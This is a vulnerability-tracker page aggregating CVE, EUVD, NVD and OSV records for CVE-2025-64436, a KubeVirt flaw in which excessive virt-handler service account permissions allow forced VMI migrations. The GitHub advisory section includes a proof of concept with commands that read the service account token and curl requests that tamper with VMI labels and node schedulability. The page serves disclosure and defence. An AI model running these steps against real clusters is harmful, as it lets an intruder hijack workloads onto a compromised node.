KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes
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cve-program · CVE-2025-64436
PublishedKubeVirt is a virtual machine management add-on for Kubernetes. In 1.5.0 and earlier, the permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
- Source published
- 7 Nov 2025 22:59:47 UTC
- Source modified
- 10 Nov 2025 18:53:09 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
euvd · EUVD-2025-38214
PublishedKubeVirt is a virtual machine management add-on for Kubernetes. In 1.5.0 and earlier, the permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
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datePublished: Nov 7, 2025, 10:59:47 PM
dateUpdated: Nov 10, 2025, 6:53:09 PM
2 related source bulletins · separate from aliases
WID-SEC-W-2025-2563: Microsoft Azure Linux: Mehrere Schwachstellen
CVE-2024-25621 · CVE-2025-10966 · CVE-2025-12863 · CVE-2025-12875 · CVE-2025-31133 · CVE-2025-40107 · CVE-2025-40109 · CVE-2025-52565 · CVE-2025-52881 · CVE-2025-60753 · CVE-2025-62220 · CVE-2025-64329 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64436 · CVE-2025-64437
msrc_CVE-2025-64436: KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes
CVE-2025-64436
- Source published
- Nov 7, 2025, 10:59:47 PM (timezone not stated)
- Source modified
- Nov 10, 2025, 6:53:09 PM (timezone not stated)
- Saved here
- 15 Nov 2026 05:38:08 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
nvd · CVE-2025-64436
PublishedKubeVirt is a virtual machine management add-on for Kubernetes. In 1.5.0 and earlier, the permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-269 · CWE-276
Original publisher date fields
published: 2025-11-07T23:15:46.003
lastModified: 2026-06-17T09:54:22.933
1 source CPE criteria · context only
- cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 7 Nov 2025 23:15:46 UTC
- Source modified
- 17 Jun 2026 09:54:22 UTC
- Saved here
- 25 Oct 2026 03:17:29 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
osv · GHSA-7xgm-5prm-v5gc
Published### Summary The permissions granted to the `virt-handler` service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. ### Details Following the [GitHub security advisory published on March 23 2023](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-cp96-jpmq-xrr2), a `ValidatingAdmissionPolicy` was introduced to impose restrictions on which sections of node resources the `virt-handler` service account can modify. For instance, the `spec` section of nodes has been made immutable, and modifications to the `labels` section are now limited to `kubevirt.io`-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node. However, if a `virt-handler` service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, `virt-handler` sets a specific `kubevirt.io` boolean label, `kubevirt.io/schedulable`, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to `false`, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node. [Another finding](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-ggp9-c99x-54gp) describes how a compromised `virt-handler` instance can perform operations on other nodes that are intended to be executed solely by `virt-api`. This significantly increases both the impact and the likelihood of the vulnerability being exploited Additionally, by default, the `virt-handler` service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's `NodeRestriction` feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default. ### PoC By injecting incorrect data into a running VMI, for example, by altering the `kubevirt.io/nodeName` label to reference a different node, the VMI is marked as terminated and its state transitions to `Succeeded`. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI: ```yaml apiVersion: kubevirt.io/v1 kind: VirtualMachine metadata: name: testvm spec: runStrategy: Always template: metadata: labels: kubevirt.io/size: small kubevirt.io/domain: testvm spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: cloudinitdisk disk: bus: virtio interfaces: - name: default masquerade: {} resources: requests: memory: 64M networks: - name: default pod: {} volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ``` The VMI is then created on a minikube node identified with `minikube-m02`: ```bash operator@minikube:~$ kubectl get vmi testvm NAME AGE PHASE IP NODENAME READY testvm 20s Running 10.244.1.8 minikube-m02 True ``` Assume that a `virt-handler` pod, running on node `minikube-m03`, is compromised and an attacker and the latter wants the `testvm` to be re-deployed on a controlled by them node. First, we retrieve the `virt-handler` service account token in order to be able to perform requests to the Kubernetes API: ```bash # Get the `virt-handler` pod name attacker@minikube-m03:~$ kubectl get pods -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler virt-handler-kblgh 1/1 Running 0 8d # get the `virt-handler` SA account token attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) ``` The attacker updates the VMI object labels in a way that makes it terminate: ```bash # Save the current state of the VMI attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json # replace the current `nodeName` to another one in the JSON file attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json # Perform the UPDATE request, impersonating the virt-handler attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token" # Get the current state of the VMI after the UPDATE attacker@minikube-m03:~$ kubectl get vmi testvm NAME AGE PHASE IP NODENAME READY testvm 42m Running 10.244.1.8 minikube-m02 False # The VMI is not ready anymore # Get the current state of the pod after the UPDATE attacker@minikube-m03:~$ kubectl get pods | grep launcher virt-launcher-testvm-z2fk4 0/3 Completed 0 44m # the `virt-launcher` pod is completed ``` Now, the attacker can use the excessive permissions of the `virt-handler` service account to patch the `minikube-m02` node in order to mark it as unschedulable for VMI workloads: ```bash attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH ``` **Note: This request could require multiple invocations as the `virt-handler` is continuously updating the schedulable state of the node it is running on**. Finally, an admin user decides to restart the VMI: ```bash admin@minikube:~$ kubectl delete -f testvm.yaml admin@minikube:~$ kubectl apply -f testvm.yaml admin@minikube:~$ kubectl get vmi testvm NAME AGE PHASE IP NODENAME READY testvm 80s Running 10.244.0.15 minikube-m03 True ``` Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the `userInfo` object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' `NodeRestriction` feature gate. Since Kubernetes version 1.32, the `node` authorization mode, enforced via the `NodeRestriction` admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher. An alternative approach would be to create a dedicated `virt-handler` service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the `userInfo.username` field of the `AdmissionRequest` object. However, this method introduces additional operational overhead in terms of monitoring and maintenance. ### Impact This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
- Source published
- 6 Nov 2025 23:35:49 UTC
- Source modified
- 10 Sep 2026 03:50:30 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Publisher rating · MODERATE
osv · GO-2025-4104
PublishedKubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes in github.com/kubevirt/kubevirt. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/kubevirt/kubevirt before v1.7.0.
- Source published
- 17 Nov 2025 19:11:23 UTC
- Source modified
- 20 Jun 2026 00:59:19 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.